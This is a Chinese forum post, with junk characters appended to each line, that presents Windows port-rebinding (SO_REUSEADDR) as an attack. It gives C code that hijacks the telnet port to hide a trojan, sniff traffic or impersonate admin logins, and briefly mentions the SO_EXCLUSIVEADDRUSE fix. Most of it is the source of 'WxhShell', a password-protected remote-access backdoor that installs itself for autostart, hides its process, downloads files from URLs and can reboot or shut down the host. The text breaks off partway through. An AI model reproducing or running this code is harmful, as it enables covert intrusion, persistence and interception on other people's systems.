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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: '%$Vmf)=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }YwaN'3p!  
1 ?@HOu  
  saddr.sin_family = AF_INET; /9vi  
AXyXK??  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); B,b8\\^k|  
"Eh=@?]S_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ax@H^Gj@2  
z} fpV T  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 AD?zBg Zu  
eORXyh\K  
  这意味着什么?意味着可以进行如下的攻击: k1&9 bgI  
`46~j  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g`fG84  
*s6 x  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) zs$r>rlO  
$6"sRI6u  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9A |A@E#  
/=2aD5r  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _p$/.~Xo9  
\ o<ucp\J  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3,PR6a,b'  
mK:gj&N7X|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^PG"  
O9ex=m `L  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0`/G(ukO  
,dC.|P' `  
  #include H'A N osv  
  #include (j}7|*.  
  #include <J509j  
  #include    j>8DaEfwx  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;|Cd q  
  int main() s5~k]"{j  
  { c^}G=Z1@  
  WORD wVersionRequested; .*zN@y3  
  DWORD ret; ^O|fw?,  
  WSADATA wsaData; 9r%fBiSk  
  BOOL val; 9 qx4F<   
  SOCKADDR_IN saddr;  "'4  
  SOCKADDR_IN scaddr; e5_Hmuk|  
  int err; \,R;  
  SOCKET s; EN m%(G$  
  SOCKET sc; ^s~)"2 g  
  int caddsize; "GMU~594  
  HANDLE mt; ZP"; B^J  
  DWORD tid;   <83Ky;ry  
  wVersionRequested = MAKEWORD( 2, 2 ); ~ l}f@@u  
  err = WSAStartup( wVersionRequested, &wsaData ); 'LgRdtO6  
  if ( err != 0 ) { A6(Do]M  
  printf("error!WSAStartup failed!\n"); Y?^liI`#  
  return -1; o3 0C\  
  } }`=7%b`-?  
  saddr.sin_family = AF_INET; e=;A3S  
   CR4O#f8\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Avx`  
i'f w>-0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Jn+-G4h$  
  saddr.sin_port = htons(23); ?Q:SVxzUd  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w=KfkdAJ*/  
  { sx?IIFF  
  printf("error!socket failed!\n"); - 2)k!5X=  
  return -1; |5u~L#P  
  } KL \>-  
  val = TRUE; ~5 6&!4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 BX_yC=S  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ns~]a:1yh  
  { ]zx%"SUM  
  printf("error!setsockopt failed!\n"); h@RpS8!Bi  
  return -1; @i ~A7L0/  
  } +4yre^gC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `v -[&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .x I Aep_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 nJI2IPZ  
Y0(4]X \ey  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1!uBzO6/$  
  { (xgw';g  
  ret=GetLastError(); s|%R  
  printf("error!bind failed!\n"); x3n9|Uud  
  return -1; "B'c;0 @q  
  } >zJHvb)b\  
  listen(s,2); OIK x:&uIk  
  while(1) T"xJY#)}  
  { x2v0cR"KL  
  caddsize = sizeof(scaddr); N7?]eD  
  //接受连接请求 )rEl{a  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Y` }X5(A@  
  if(sc!=INVALID_SOCKET) ,I"T9k-^  
  { l'I:0a 4T  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @c^ Dl  
  if(mt==NULL) (dlp5:lQz  
  { 88HqP!m%P:  
  printf("Thread Creat Failed!\n"); <::lfPP  
  break; ^J]&($-  
  } *RkUF!)(  
  } k`5I"-e  
  CloseHandle(mt); 1(p:dqGS  
  } ^ ]9K>}  
  closesocket(s); _}R9!R0O  
  WSACleanup(); 96w2qgc2  
  return 0; bK:U:vpYm  
  }   0?54 8yH  
  DWORD WINAPI ClientThread(LPVOID lpParam) [9 MH"\  
  { <vcU5 .K.  
  SOCKET ss = (SOCKET)lpParam; 2E }vuw=c  
  SOCKET sc; *2 Pr1U  
  unsigned char buf[4096]; aL1%BGlmZ<  
  SOCKADDR_IN saddr; - l X4;  
  long num; 1$b@C-B@g  
  DWORD val; exq5Zc%  
  DWORD ret; L-+g`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6R45+<.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }AS?q?4?  
  saddr.sin_family = AF_INET; m-t: ' B  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )Qb,zS6  
  saddr.sin_port = htons(23); i~h@}0WR"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #*bmwb*i  
  { y#'hOSR2  
  printf("error!socket failed!\n"); yzN[%/  
  return -1; 1AAyzAP9`  
  } i#-v4g  
  val = 100; lcl|o3yQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hDxq9EF  
  { Au,oX2$  
  ret = GetLastError(); L/"MRQ"  
  return -1; HAjl[c  
  } j n^X{R\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) F! !HwI  
  { >!Yuef <P  
  ret = GetLastError(); xr'1CP  
  return -1;  +vkmS  
  } l!*_[r   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +gd5&  
  { t"$~o:U&)  
  printf("error!socket connect failed!\n"); 3en 9TB  
  closesocket(sc); mG S4W;  
  closesocket(ss); :|;@FkQ  
  return -1; ^}+\52w  
  } coAXYn  
  while(1) 5{'hsC  
  { lp}S'^ y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #,tT`{u1q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 N,TV?Q5l7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 R!dC20IMvH  
  num = recv(ss,buf,4096,0); ZA="Dac  
  if(num>0) H*0Y_H=  
  send(sc,buf,num,0); 9rEBq&  
  else if(num==0) 6U{A6hH]  
  break; 2j+w5KvU  
  num = recv(sc,buf,4096,0); C@XS  
  if(num>0) 9[/0  
  send(ss,buf,num,0); k|-\[Yl.  
  else if(num==0) s70Z&3A  
  break; wsmgkg  
  } +Kk1[fh-  
  closesocket(ss); &Ym):pc  
  closesocket(sc); m|q,i xg  
  return 0 ; (~DW_+?]'  
  } 9w-\K]  
*X .1b!  
2u$-(JfoS  
========================================================== ,)`_?^ \$f  
%}@iz(*}>  
下边附上一个代码,,WXhSHELL i >3`V6  
Ic(qA{SM  
========================================================== `O6#-<>  
F;Q,cg M  
#include "stdafx.h" s!(R  
L3{(B u  
#include <stdio.h> G|,&V0*  
#include <string.h> -K/+}4i3N  
#include <windows.h> [|:{qQyD  
#include <winsock2.h> zyS8LZ-y9  
#include <winsvc.h> uZ?P{E,K  
#include <urlmon.h> vx9!KWy}  
4A J]qu  
#pragma comment (lib, "Ws2_32.lib") JX0M3|I=  
#pragma comment (lib, "urlmon.lib") 8~(xi<"e  
rMwa6ZO'm;  
#define MAX_USER   100 // 最大客户端连接数 XmQ ;Roe  
#define BUF_SOCK   200 // sock buffer n=!T (Hk  
#define KEY_BUFF   255 // 输入 buffer 8xB-cE  
u[)X="-e#  
#define REBOOT     0   // 重启 WX4sTxJK  
#define SHUTDOWN   1   // 关机 TO Hz3=  
>SXSrXyYX  
#define DEF_PORT   5000 // 监听端口 k>ErD v8  
_9>,9aL  
#define REG_LEN     16   // 注册表键长度 Hf('BagBL  
#define SVC_LEN     80   // NT服务名长度 /MtmO$ .  
[~N;d9H+*1  
// 从dll定义API <);q,|eh2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q=t!COS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]0D-g2!|A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VgbNZ{qk@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^t'mW;C$4  
;7\Fx8"s[  
// wxhshell配置信息 h8(#\E  
struct WSCFG { ZuGSRGX'  
  int ws_port;         // 监听端口 KZ2[.[(Ph  
  char ws_passstr[REG_LEN]; // 口令 3A,N1OXG  
  int ws_autoins;       // 安装标记, 1=yes 0=no d[t0K]  
  char ws_regname[REG_LEN]; // 注册表键名 _s;y0$O  
  char ws_svcname[REG_LEN]; // 服务名 "=a3"/u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d&^b=d FDu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UC+Qn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jV2H61d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d>f;N+O%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /<-PW9X?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !*v% s  
0$|VkMq(  
}; "-f]d~P>  
?d%)R*3IX  
// default Wxhshell configuration pwN2Nzski  
struct WSCFG wscfg={DEF_PORT, Yh95W  
    "xuhuanlingzhe", d.f0OhQ  
    1, =b%f@x_U1  
    "Wxhshell", Z8=?Hu  
    "Wxhshell", b%lB&}uw}  
            "WxhShell Service", NAo.79   
    "Wrsky Windows CmdShell Service", ]KuM's  
    "Please Input Your Password: ", Fbo"Csn_  
  1, *z[vp2 TN  
  "http://www.wrsky.com/wxhshell.exe", 9i\}^ s2  
  "Wxhshell.exe" Kyh6QA^  
    }; z<eu=OD4t  
K#A&  
// 消息定义模块 P"NI> HM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +jE)kaV%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %R$)bGT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q.J6'v lj/  
char *msg_ws_ext="\n\rExit."; im*sSz 0 (  
char *msg_ws_end="\n\rQuit."; 7=fM}sk  
char *msg_ws_boot="\n\rReboot..."; "\*)KH`C  
char *msg_ws_poff="\n\rShutdown..."; hp)>Nzdx  
char *msg_ws_down="\n\rSave to "; }#1.$a  
CRo'r/G  
char *msg_ws_err="\n\rErr!"; -`4]u!A  
char *msg_ws_ok="\n\rOK!"; 8 o}5QOW  
k1D7=&i  
char ExeFile[MAX_PATH]; w5z]=dN  
int nUser = 0; mRx `G(u:v  
HANDLE handles[MAX_USER]; 4&NB xe  
int OsIsNt; TzC(YWt  
r)S:= Is5  
SERVICE_STATUS       serviceStatus; I~l_ky|a !  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S+06pj4Ie  
|6d:k~p  
// 函数声明 @zS/J,:v}  
int Install(void); L~ax`i1:"  
int Uninstall(void); P{dR pH|  
int DownloadFile(char *sURL, SOCKET wsh); &3/`cl[+  
int Boot(int flag); =-!jm? st*  
void HideProc(void); q5g_5^csM{  
int GetOsVer(void); HZ<#H3_ix  
int Wxhshell(SOCKET wsl); NATi)A"TZ  
void TalkWithClient(void *cs); :(enaHn#~  
int CmdShell(SOCKET sock); .U(6])%;@  
int StartFromService(void); W4 q9pHQ  
int StartWxhshell(LPSTR lpCmdLine);  5V<6_o  
9y\nO)\Tv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xLIyh7$t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _LF'0s*  
pXNhU88  
// 数据结构和表定义 `x=kb;  
SERVICE_TABLE_ENTRY DispatchTable[] = DQhHU1  
{ n^QDMyC;I  
{wscfg.ws_svcname, NTServiceMain}, m@nGXl'!  
{NULL, NULL} fyUW;dj  
}; d '2JMdbc  
:C;fEJN  
// 自我安装 (NUXK  
int Install(void) f]1 $`  
{ >kAJS??  
  char svExeFile[MAX_PATH]; 1%M^MT%&  
  HKEY key; #~j$J  
  strcpy(svExeFile,ExeFile); QqL?? p-S>  
~oOv/1v},  
// 如果是win9x系统,修改注册表设为自启动 `*CoVx~fk  
if(!OsIsNt) { b5g^{bzwu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *Iw19o-I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q \X_JZ  
  RegCloseKey(key); blz#M #  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R&s/s`pLW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jur$O,u40l  
  RegCloseKey(key); 0D:uM$ i]  
  return 0; 7# 'j>]  
    } aJm5`az)  
  } F4(;O7j9  
} &[\zs&[@y  
else { &>B|?d  
_6FDuCVD-  
// 如果是NT以上系统,安装为系统服务 *RkvM?o@jC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?_pd#W=!  
if (schSCManager!=0) ,S(_YS^m  
{ jM*wm~4>@  
  SC_HANDLE schService = CreateService IAd ^$9  
  ( .f!'> _  
  schSCManager, MS SHMR  
  wscfg.ws_svcname, ^?%ThPo_  
  wscfg.ws_svcdisp, <\:*cET3  
  SERVICE_ALL_ACCESS, ve#[LBOC8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nb5%a   
  SERVICE_AUTO_START, rGH7S!\AM  
  SERVICE_ERROR_NORMAL, F`Vp   
  svExeFile, 0wBr_b!  
  NULL, ;Xidv9c  
  NULL, JmF`5  
  NULL, J!rZs kd  
  NULL, @TKQ_7BcB  
  NULL 7({.kD6  
  ); =L$RY2S"  
  if (schService!=0) "z.!h(Eq  
  { 7.5\LTM>9e  
  CloseServiceHandle(schService); 17Q* <iCs  
  CloseServiceHandle(schSCManager); W6B o\UK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !/&~Feb  
  strcat(svExeFile,wscfg.ws_svcname); #l2WRw_t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bVRxGn @l  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h\-jqaq  
  RegCloseKey(key); [-[|4|CnOm  
  return 0; fv3)#>Dgp>  
    } /? j^Qu  
  } 8HO)",+I  
  CloseServiceHandle(schSCManager); zJ0'KHF}o  
} u*;53 43  
} *7Sg8\wDn  
)fZ5.W8UE]  
return 1; JvUHoc$sI  
} `0ju=FP'u5  
BJ/#V)  
// 自我卸载 9.goO|~B~  
int Uninstall(void) DA4!-\bt@  
{ `~t$k7wm=  
  HKEY key; Pb D|7IM  
I^ A01\p  
if(!OsIsNt) { ;rta#pRn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \t&6$"n(B6  
  RegDeleteValue(key,wscfg.ws_regname); I|[aa$G  
  RegCloseKey(key); ?yz}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NOmSLIgt7  
  RegDeleteValue(key,wscfg.ws_regname); nuv$B >  
  RegCloseKey(key); 28+ Sz>SP  
  return 0; y+iuA@WCv  
  } "=!QSb  
} w1A&p  
} TA Yt:  
else { Ip0@Q}^  
'E8dkVlI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s?K4::@Fv  
if (schSCManager!=0) oB Bdk@  
{ 5p{tt;9[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  WU,72g=  
  if (schService!=0) $t </{]iX  
  { qXW2a'~  
  if(DeleteService(schService)!=0) { B 9]sSx  
  CloseServiceHandle(schService); !r!Mq~X<=  
  CloseServiceHandle(schSCManager); 7!N5uR  
  return 0; uJp}9B60_  
  } g9"_BG  
  CloseServiceHandle(schService); 1y8:tri>N  
  } tT#Q`cB  
  CloseServiceHandle(schSCManager); \ZDT=?  
} yM D* >8/  
} .y[K =p3  
?y45#Tk]  
return 1; LveqG   
} +Vf|YLbhJ  
S(-=I!.G{  
// 从指定url下载文件 E 0pF; P5  
int DownloadFile(char *sURL, SOCKET wsh) CX'E+  
{ s9GPDfZ  
  HRESULT hr; 01q7n`o#zf  
char seps[]= "/"; @%cJjZ5y  
char *token; "RX?"pB  
char *file; {}^ELw  
char myURL[MAX_PATH]; x!.VWGtb  
char myFILE[MAX_PATH];  FZ2-e  
hJ4.:  
strcpy(myURL,sURL); <,hBoHZSL  
  token=strtok(myURL,seps); ze\~-0ks +  
  while(token!=NULL) /7"1\s0U  
  { |95/'a*  
    file=token; `oz7Q(`  
  token=strtok(NULL,seps); ".i{WyTt  
  } $xZk{ rK  
Oc'z?6axWv  
GetCurrentDirectory(MAX_PATH,myFILE); SCH![Amq  
strcat(myFILE, "\\"); o%9>elOju  
strcat(myFILE, file); -MEz`7c~  
  send(wsh,myFILE,strlen(myFILE),0); Gf]s?J^a  
send(wsh,"...",3,0); x)yf!Dv5$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |f}NO~CA  
  if(hr==S_OK) &lS0"`J=  
return 0; RK3/!C`  
else X5/{Mx`8Oz  
return 1; `U1%d7[vY  
S&uL9)Glb  
} I~qiF%?d  
DVcu*UVw  
// 系统电源模块 n)7icSc  
int Boot(int flag) G-(c+6Mn  
{ )?bb]hZg?O  
  HANDLE hToken; :d2u?+F  
  TOKEN_PRIVILEGES tkp; t(rU6miN  
G-^ccdT  
  if(OsIsNt) { W=\dsdnu*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _TXV{<E6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); omA*XXUx=8  
    tkp.PrivilegeCount = 1; Y#Vy:x[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G\p; bUF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CzEn_ZMb  
if(flag==REBOOT) { Mqtp}<*@-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +r!h*4  
  return 0; ?W|IC8~d')  
} MHYf8HN  
else { 2,;t%GB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !Cy2>6v7  
  return 0; *pD;AU  
} VfcQibm  
  } lmcDA,7  
  else { `k| nf9_  
if(flag==REBOOT) { `s_TY%&_}g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QMxz@HGa|  
  return 0; a*[\edcHU  
} uRy6~'  
else { |)-:w?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UQcmHZ+lf  
  return 0; ibc/x v2  
} ~=mM/@HD  
} feW9 >f;  
E\S&} K,s  
return 1; `j![  
} *a%PA(%6  
,s76]$%4  
// win9x进程隐藏模块 Q8q_w2s,  
void HideProc(void) Pvw%,=41O  
{ w$ {  
cj#q7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B~#@fIL  
  if ( hKernel != NULL ) y)E2=JQA/  
  { ):@%xoF5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :GYv9OG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s- V$N  
    FreeLibrary(hKernel); ,AM-cwwT:u  
  } eFI4(Y  
\(FDR  
return; ]c2| m}I{:  
} OJ 5 !+#>  
mD)O\.uA  
// 获取操作系统版本 ix+x-G  
int GetOsVer(void) i|^6s87"N2  
{ EvmmQ  
  OSVERSIONINFO winfo; 1W[(+TZ&s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q9>]@DrAx  
  GetVersionEx(&winfo); Y%l3SB,5L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~Wm}M  
  return 1; 5,ahKB8  
  else $SVGpEw  
  return 0; )+,jal^7  
} 9`{2h$U  
Rk[ * p  
// 客户端句柄模块 ItPK  
int Wxhshell(SOCKET wsl) 3= zQ U  
{ *KH@u  
  SOCKET wsh; 8|NJ(D-$  
  struct sockaddr_in client; "%t`I)  
  DWORD myID; r_E)HL/A  
U.'@S8  
  while(nUser<MAX_USER) n;`L5  
{ 5z ^UQ q  
  int nSize=sizeof(client); 9%14k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~{G: ,|`  
  if(wsh==INVALID_SOCKET) return 1; c.Z4f 7  
9lJj/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \=_q{  
if(handles[nUser]==0) ^(*O$N*#  
  closesocket(wsh); )6 <byO  
else !cwVJe  
  nUser++; W? ||9  
  } a3O_#l-Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u/'sdt  
E}9ldM=]s  
  return 0; ](:FW '-  
} c|( ?  
~9{;V KgK  
// 关闭 socket /+`<X%^U  
void CloseIt(SOCKET wsh) {taVAcb  
{ 8G] m7Z  
closesocket(wsh); GTe:k  
nUser--;  ca*[n~np  
ExitThread(0); yGG B  
} p3FnYz-V  
(<ZkmIXN  
// 客户端请求句柄 1DtMY|wP  
void TalkWithClient(void *cs) T}Vpy`  
{ }k0-?_Z=1  
+JS/Z5dl+}  
  SOCKET wsh=(SOCKET)cs; 6n\z53Mk  
  char pwd[SVC_LEN]; A'QGTT  
  char cmd[KEY_BUFF]; _I-VWDCk  
char chr[1]; \nAHpF  
int i,j; 2 U`W[  
hUvuq,LH_  
  while (nUser < MAX_USER) { >-5Gt  
SuH.lCF-g  
if(wscfg.ws_passstr) { M6iO8vY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yL x .#kx6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \R\@t] >Y  
  //ZeroMemory(pwd,KEY_BUFF); L2.`1Aag  
      i=0; .`>l.gmi&  
  while(i<SVC_LEN) { Ij}F<ZgZG  
(e3Gs+;  
  // 设置超时 TTZxkK  
  fd_set FdRead; F*JvpI[7n  
  struct timeval TimeOut; (2bZ]  
  FD_ZERO(&FdRead); x>,F*3d3  
  FD_SET(wsh,&FdRead); ]'!xc9KGR  
  TimeOut.tv_sec=8; ! M&un*  
  TimeOut.tv_usec=0; #t2UPLO~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]ZzG!7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q6JW@GT  
795Jwv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .A7tq  
  pwd=chr[0]; + i@yZfT  
  if(chr[0]==0xd || chr[0]==0xa) { 5Sjr6l3Vq8  
  pwd=0; sC5uA .?>9  
  break; 4!~ .6cp3  
  } Qj<{oZp&  
  i++; YG 5Z8@kH  
    } lAn+gDP  
Q|= Q]$d  
  // 如果是非法用户,关闭 socket G9n /S=R?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =PFR{=F  
} LX\*4[0%K  
xJ2O4ob  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,)rZAI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ezr\T  
l P$r   
while(1) { 8\)U|/A7  
iQ|,&K0d]  
  ZeroMemory(cmd,KEY_BUFF); Zp(=[n5  
P A6KX5  
      // 自动支持客户端 telnet标准   nJ*mEB  
  j=0; '`]n_$f'  
  while(j<KEY_BUFF) { H/Ec^Lc+_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Awa|rIM  
  cmd[j]=chr[0]; |v$%V#Bo  
  if(chr[0]==0xa || chr[0]==0xd) { \YlF>{LVe  
  cmd[j]=0; -M:hlwha  
  break; q]N?@l]  
  } MzR1<W{ O  
  j++; wHOlj)CZ  
    } o\]: !#r{T  
HLSfoQ&)v  
  // 下载文件 juCG?}di;  
  if(strstr(cmd,"http://")) { Dpdn%8+Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <cDKGd  
  if(DownloadFile(cmd,wsh)) C](z#c~c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i'Y'HI  
  else g>!:U6K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2&gd"Ak(  
  } F8[B^alAe  
  else { p`ADro*  
t8A kdSU0  
    switch(cmd[0]) { b@wBR9s  
  C,{F0-D  
  // 帮助 xA&  
  case '?': { pG!(6V-x<E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nrTv=*tDj  
    break; 9P7xoXJ@y  
  } WjY{rM,K  
  // 安装 vr{'FMc  
  case 'i': { 5>ADw3z'  
    if(Install()) 0Oc}rRH(C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3'[Rvy{  
    else vQK n=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *U;4t/(  
    break; X`fhln9N  
    } Jtp>m?1Ve  
  // 卸载 jcEs10y  
  case 'r': { f`hyYp`d5  
    if(Uninstall()) Q(IJD4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R%b*EBZ  
    else &r'{(O8$N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I%}L@fZ  
    break; <AI>8j6#B  
    } cQ(}^KO  
  // 显示 wxhshell 所在路径 &gGs) $f[  
  case 'p': { 7_Ba3+9jpa  
    char svExeFile[MAX_PATH]; (]3ERPn#y  
    strcpy(svExeFile,"\n\r"); Hs"% S  
      strcat(svExeFile,ExeFile); NqJ<!q)  
        send(wsh,svExeFile,strlen(svExeFile),0); ptV4s=G2  
    break; _{6,.TN  
    } U@.u-)oX  
  // 重启 ;RWW+x8IB  
  case 'b': { 8%o~4u3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lo+xo;Nd  
    if(Boot(REBOOT)) FOCoiocPi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p!+L  
    else { "_K}rI6(t  
    closesocket(wsh); m<FF$pTT  
    ExitThread(0); ${hyNt  
    } R9tckRG#  
    break; j|VXC(6 P,  
    } ";PG%_(  
  // 关机 Md8(`@`o  
  case 'd': { |Du,UY/  
